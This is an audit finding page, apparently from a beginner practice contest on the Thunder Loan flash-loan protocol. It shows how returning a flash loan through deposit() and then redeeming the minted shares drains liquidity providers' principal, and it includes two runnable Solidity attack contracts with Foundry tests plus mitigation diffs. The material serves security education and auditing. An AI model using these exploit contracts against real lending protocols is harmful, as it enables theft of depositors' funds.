Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

C-1: Flash Loans Can Be Repaid With a Deposit, Letting Borrowers Steal LPs' Principal

Root + Impact

The protocol verifies flash-loan repayment only by checking that the AssetToken's underlying balance grew to at least startingBalance + fee after the borrower's callback (ThunderLoan.sol:212-215). It never records which tokens were returned or whether they came from the borrower's pocket versus a fresh deposit. A borrower's executeOperation can therefore call deposit() with a portion of the borrowed funds: that single call both restores the AssetToken's balance (satisfying the repayment check) and mints AssetToken shares to the borrower. After flashloan() returns, the borrower calls redeem() on those shares and withdraws the same underlying back out. The loan is effectively never repaid, and the borrower keeps the borrowed principal at the expense of every liquidity provider in that pool.

Description

flashloan() snapshots the AssetToken balance (ThunderLoan.sol:182), bumps the exchange rate, transfers amount to the receiver (:199), and invokes receiverAddress.executeOperation(...) (:201-210). The only post-callback validation is the absolute balance assertion at :212-215. Because deposit() (:147-156) is reachable during that callback and mints shares equal to the deposited amount, a receiver can return the borrowed tokens through deposit() instead of a genuine repayment. The balance check sees the restored principal (plus the separately-supplied fee) and passes, while the receiver now holds redeemable shares worth amount + fee. The redemption path (:161-178) then pays those shares out of the same AssetToken. Each guard that looks sufficient is not: revertIfZero/revertIfNotAllowedToken on deposit only validate input shape, s_currentlyFlashLoaning is set during the callback but is read only by repay() (:220), and the repayment check measures a balance that a deposit itself can raise.

// src/protocol/ThunderLoan.sol:212-215 — repayment is an absolute balance check only
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
@> revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
​
// src/protocol/ThunderLoan.sol:147-156 — deposit() mints shares AND is callable in the callback
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount); // <-- borrower gets redeemable shares
@> uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee);
@> token.safeTransferFrom(msg.sender, address(assetToken), amount); // <-- counts as "repayment"
}
​
// src/protocol/ThunderLoan.sol:161-178 — shares are then redeemed for the principal
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
@> assetToken.burn(msg.sender, amountOfAssetToken);
@> assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);

Risk

Likelihood: Any externally owned account can deploy a receiver whose executeOperation deposits the borrowed amount plus the fee, then redeem. It requires only that the pool hold liquidity (the normal steady state) and works with a standard ERC20 — no malicious token, no privileged role, and no oracle manipulation. It is repeatable until the pool is drained.

Impact: The borrower keeps the borrowed principal while the pool loses an equal amount, permanently. In the PoC the attacker nets ~10,002e18 while the pool drops ~10,000e18 in a single transaction. Liquidity providers are the harmed actor; the loss is direct, unrecoverable (the funds legitimately leave via redeem), and scales to the pool's entire balance. The same mechanism exists in ThunderLoanUpgraded.

Proof of Concept

Setup: a victim deposits 100,000e18 of an allowed token, giving the pool liquidity. The attacker contract (DepositRedeemer) is funded with exactly the flash-loan fee. It calls flashloan(amount = 10,000e18). Inside executeOperation it approves and calls deposit(token, amount + fee); this returns the borrowed principal plus fee into the AssetToken (satisfying endingBalance >= startingBalance + fee) and mints shares to the attacker contract. flashloan returns successfully. The attacker then calls redeem(token, type(uint256).max), burning those shares and withdrawing amount + fee-worth of underlying. The final assertions prove the attack: the attacker contract's balance is strictly greater than the fee it started with (it recovered the fee and the borrowed principal), and the pool's balance is strictly lower than before the loan — i.e., principal was stolen, not merely recycled.

// test/poc/Exploit2.t.sol — runnable reproduction
// forge test --match-path test/poc/Exploit2.t.sol -vv
​
contract DepositRedeemer {
ThunderLoan private immutable loan;
ERC20Mock private immutable token;
constructor(ThunderLoan _l, ERC20Mock _t) { loan = _l; token = _t; }
​
function attack(uint256 amount) external {
loan.flashloan(address(this), IERC20(address(token)), amount, "");
loan.redeem(IERC20(address(token)), type(uint256).max); // cash out the minted shares
}
​
function executeOperation(address tkn, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
token.approve(address(loan), amount + fee);
// deposit = repayment + share mint, in one call
loan.deposit(IERC20(tkn), amount + fee);
return true;
}
}
​
function testExploit_FlashLoanPrincipalTheftViaDepositAsRepayment() public {
uint256 amount = 10_000e18;
uint256 fee = loan.getCalculatedFee(IERC20(address(token)), amount);
​
DepositRedeemer d = new DepositRedeemer(loan, token);
token.mint(address(d), fee); // setup sanity: attacker only fronts the fee
​
AssetToken at = loan.getAssetFromToken(IERC20(address(token)));
uint256 poolBefore = token.balanceOf(address(at)); // setup
uint256 attackerBefore = token.balanceOf(address(d)); // setup
​
d.attack(amount);
​
uint256 poolAfter = token.balanceOf(address(at));
uint256 attackerAfter = token.balanceOf(address(d));
​
assertGt(attackerAfter, attackerBefore, "BUG PROOF: attacker profits by the borrowed principal");
assertLt(poolAfter, poolBefore, "BUG PROOF: pool loses principal permanently");
}
// Observed: attacker profit ~= 10,002e18, pool before 100,000e18 -> after ~89,997e18

Recommended Mitigation

The repayment check must not be satisfiable by a deposit, and user-callable flows that mint claims must not run while a loan is outstanding. The simplest robust fix is to add a reentrancy/loan-state guard to deposit and redeem (and flashloan itself) so no shares can be minted or burned during the callback, while leaving repay() as the only repayment path. A complementary hardening — recommended because the balance check is intrinsically ambiguous — is to convert repayment verification into an explicit debt ledger and compare the AssetToken balance delta against that recorded debt rather than against a raw startingBalance. Blocking deposit/redeem during the callback closes this exact mechanism and also mitigates the nested-flash-loan inflation variant; the ledger change removes the underlying class (third-party donations and rebases satisfying the check) as well.

// ThunderLoan.sol
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__FlashLoanInProgress();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
...
​
function redeem(IERC20 token, uint256 amountOfAssetToken)
external revertIfZero(amountOfAssetToken) revertIfNotAllowedToken(token)
{
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__FlashLoanInProgress();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
...
​
-function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
+function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params)
+ external nonReentrant
+{
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!